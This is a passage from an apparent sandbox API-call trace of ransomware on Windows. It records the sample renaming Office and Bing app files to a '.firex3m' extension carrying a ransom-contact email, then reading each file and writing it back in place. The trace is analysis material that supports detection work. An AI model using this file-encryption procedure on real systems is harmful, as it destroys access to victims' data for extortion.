Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml") returned 1 [0246.496] GetProcessHeap () returned 0x630000 [0246.496] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0246.497] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\finance.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.497] Sleep (dwMilliseconds=0x1) [0246.562] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", len=0x6a | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX") returned 1 [0246.562] GetProcessHeap () returned 0x630000 [0246.562] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0246.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0246.562] CloseHandle (hObject=0x40c) returned 1 [0246.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\wt61fr.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc91c74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc91c74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WT61FR~1.FIR")) returned 0x6d5340 [0246.565] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0246.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\wt61fr.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0246.565] GetProcessHeap () returned 0x630000 [0246.565] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f4f740 [0246.565] GetProcessHeap () returned 0x630000 [0246.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5ab70 [0246.566] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.566] ReadFile (in: hFile=0x40c, lpBuffer=0x6f4f740, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4f740*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.758] GetProcessHeap () returned 0x630000 [0252.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0252.759] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.759] WriteFile (in: hFile=0x40c, lpBuffer=0x6f5ab70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5ab70*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.759] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.759] WriteFile (in: hFile=0x40c, lpBuffer=0x6f65f6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f65f6f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.729] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.729] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.729] CloseHandle (hObject=0x40c) returned 1 [0253.729] GetProcessHeap () returned 0x630000 [0253.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5ab70 | out: hHeap=0x630000) returned 1 [0253.729] GetProcessHeap () returned 0x630000 [0253.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4f740 | out: hHeap=0x630000) returned 1 [0253.730] GetProcessHeap () returned 0x630000 [0253.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0254.414] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc91c74d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc91c74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d2ef6b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96a24, dwReserved0=0xa647496, dwReserved1=0x6f4f738, cFileName="WT61FR.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WT61FR~1.FIR")) returned 0x6d5400 [0254.414] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0254.414] Sleep (dwMilliseconds=0x1) [0255.817] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF", len=0x6a | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF") returned 1 [0255.817] GetProcessHeap () returned 0x630000 [0255.817] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d38) returned 0x6fe3bb0 [0255.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0257.931] CloseHandle (hObject=0x6ec) returned 1 [0257.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LEVELI~1.FIR")) returned 0x6d5040 [0257.933] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0257.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0257.934] GetProcessHeap () returned 0x630000 [0257.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706c8b0 [0257.934] GetProcessHeap () returned 0x630000 [0257.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706c1d8 [0257.934] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.934] ReadFile (in: hFile=0x6ec, lpBuffer=0x706c8b0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c8b0*, lpNumberOfBytesRead=0x54bff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.937] GetProcessHeap () returned 0x630000 [0257.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0257.937] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.937] WriteFile (in: hFile=0x6ec, lpBuffer=0x706c1d8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c1d8*, lpNumberOfBytesWritten=0x54bff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.937] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.937] WriteFile (in: hFile=0x6ec, lpBuffer=0x706c3d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c3d7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.937] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.937] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.937] CloseHandle (hObject=0x6ec) returned 1 [0257.937] GetProcessHeap () returned 0x630000 [0257.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c1d8 | out: hHeap=0x630000) returned 1 [0257.937] GetProcessHeap () returned 0x630000 [0257.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c8b0 | out: hHeap=0x630000) returned 1 [0257.938] GetProcessHeap () returned 0x630000 [0257.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0257.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fb0fe0a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x54bfd20, dwReserved1=0x706c8b0, cFileName="LEVEL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LEVELI~1.FIR")) returned 0x6d5340 [0257.938] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0257.938] Sleep (dwMilliseconds=0x1) [0257.947] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x78 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0257.947] GetProcessHeap () returned 0x630000 [0257.947] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0257.947] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.948] Sleep (dwMilliseconds=0x1) [0257.963] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png", len=0x8d | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png") returned 1 [0257.963] GetProcessHeap () returned 0x630000 [0257.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0257.963] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilewide.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.966] Sleep (dwMilliseconds=0x1) [0257.977] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\9px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\9px.png") returned 1 [0257.978] GetProcessHeap () returned 0x630000 [0257.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d88) returned 0x6fe3bb0 [0257.978] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\9px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\9px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.982] Sleep (dwMilliseconds=0x1) [0257.993] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\8px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\8px.png") returned 1 [0257.993] GetProcessHeap () returned 0x630000 [0257.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d84) returned 0x6fe3bb0 [0257.993] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\8px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\8px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.003] Sleep (dwMilliseconds=0x1) [0258.009] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\7px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\7px.png") returned 1 [0258.009] GetProcessHeap () returned 0x630000 [0258.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d80) returned 0x6fe3bb0 [0258.009] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\7px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\7px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.010] Sleep (dwMilliseconds=0x1) [0258.024] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\6px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\6px.png") returned 1 [0258.025] GetProcessHeap () returned 0x630000 [0258.025] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d7c) returned 0x6fe3bb0 [0258.025] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\6px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\6px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.027] Sleep (dwMilliseconds=0x1) [0258.040] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\5px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\5px.png") returned 1 [0258.040] GetProcessHeap () returned 0x630000 [0258.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d78) returned 0x6fe3bb0 [0258.040] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\5px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\5px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.042] Sleep (dwMilliseconds=0x1) [0258.056] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\4px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\4px.png") returned 1 [0258.056] GetProcessHeap () returned 0x630000 [0258.056] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d74) returned 0x6fe3bb0 [0258.056] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\4px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\4px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.059] Sleep (dwMilliseconds=0x1) [0258.071] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\3px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\3px.png") returned 1 [0258.071] GetProcessHeap () returned 0x630000 [0258.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d70) returned 0x6fe3bb0 [0258.071] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\3px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\3px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.073] Sleep (dwMilliseconds=0x1) [0258.087] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\2px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\2px.png") returned 1 [0258.087] GetProcessHeap () returned 0x630000 [0258.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d6c) returned 0x6fe3bb0 [0258.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\2px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\2px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 